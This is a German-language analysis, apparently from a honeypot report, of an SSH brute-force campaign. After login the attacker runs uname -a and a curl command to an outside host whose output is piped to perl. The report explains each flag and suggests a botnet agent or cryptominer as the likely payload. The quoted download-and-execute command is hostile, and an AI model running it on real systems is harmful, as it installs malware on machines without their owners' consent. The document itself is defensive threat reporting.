Aufklärung nach Login: 114 Sitzungen von 88 IPs, „curl -sS --max-time 1 http://[IP]/zed 2>“

Was versucht wurde

Der Angreifer führte eine automatisierte Brute-Force-Attacke gegen SSH-Dienste durch, um mit einer Liste von Standard- oder geleakten Zugangsdaten Zugang zu erlangen. Nach dem erfolgreichen Einloggen wurden Systeminformationen abgefragt und ein externer Skript-Inhalt über eine HTTP-Verbindung geladen. Dieser Inhalt wurde direkt an den Perl-Interpreter übergeben, um ihn ohne vorherige Speicherung auf der Festplatte auszuführen.

Was die Befehle bewirken

Der Befehl uname -a ermittelt die Kernel- und Systemarchitektur, um die Kompatibilität des nachfolgenden Codes zu prüfen. Der curl-Befehl lädt eine Datei von einem externen Server herunter, wobei die Option -sS stille Fehlerausgabe bedeutet und --max-time 1 die Verbindung nach einer Sekunde abbricht. Die Pipe | leitet den empfangenen Datenstrom direkt an perl weiter, das diesen als Programmcode interpretiert und ausführt. Die Umleitung 2>/dev/null unterdrückt Fehlermeldungen, um keine Spuren in den Logs zu hinterlassen.

Worauf es hinauslief

Das Ziel ist die Installation eines Botnet-Agents oder Kryptominers auf dem kompromittierten System. Die direkte Ausführung von Code aus dem Internet ohne Zwischenspeicherung dient der Verschleierung und verhindert die forensische Sicherstellung der Malware. Die Herkunft aus einem bekannten Hosting-Netzwerk deutet auf eine automatisierte, skalierbare Kampagne hin.

Einordnung

Dieses Muster ist extrem verbreitet und stellt einen Standardfall für automatisierte Botnet-Aufklärung dar. Die Kombination aus Brute-Force und sofortiger Code-Ausführung über Perl ist ein klassischer Vektor für die Verbreitung von Mirai-Abkömmlingen oder ähnlicher Malware.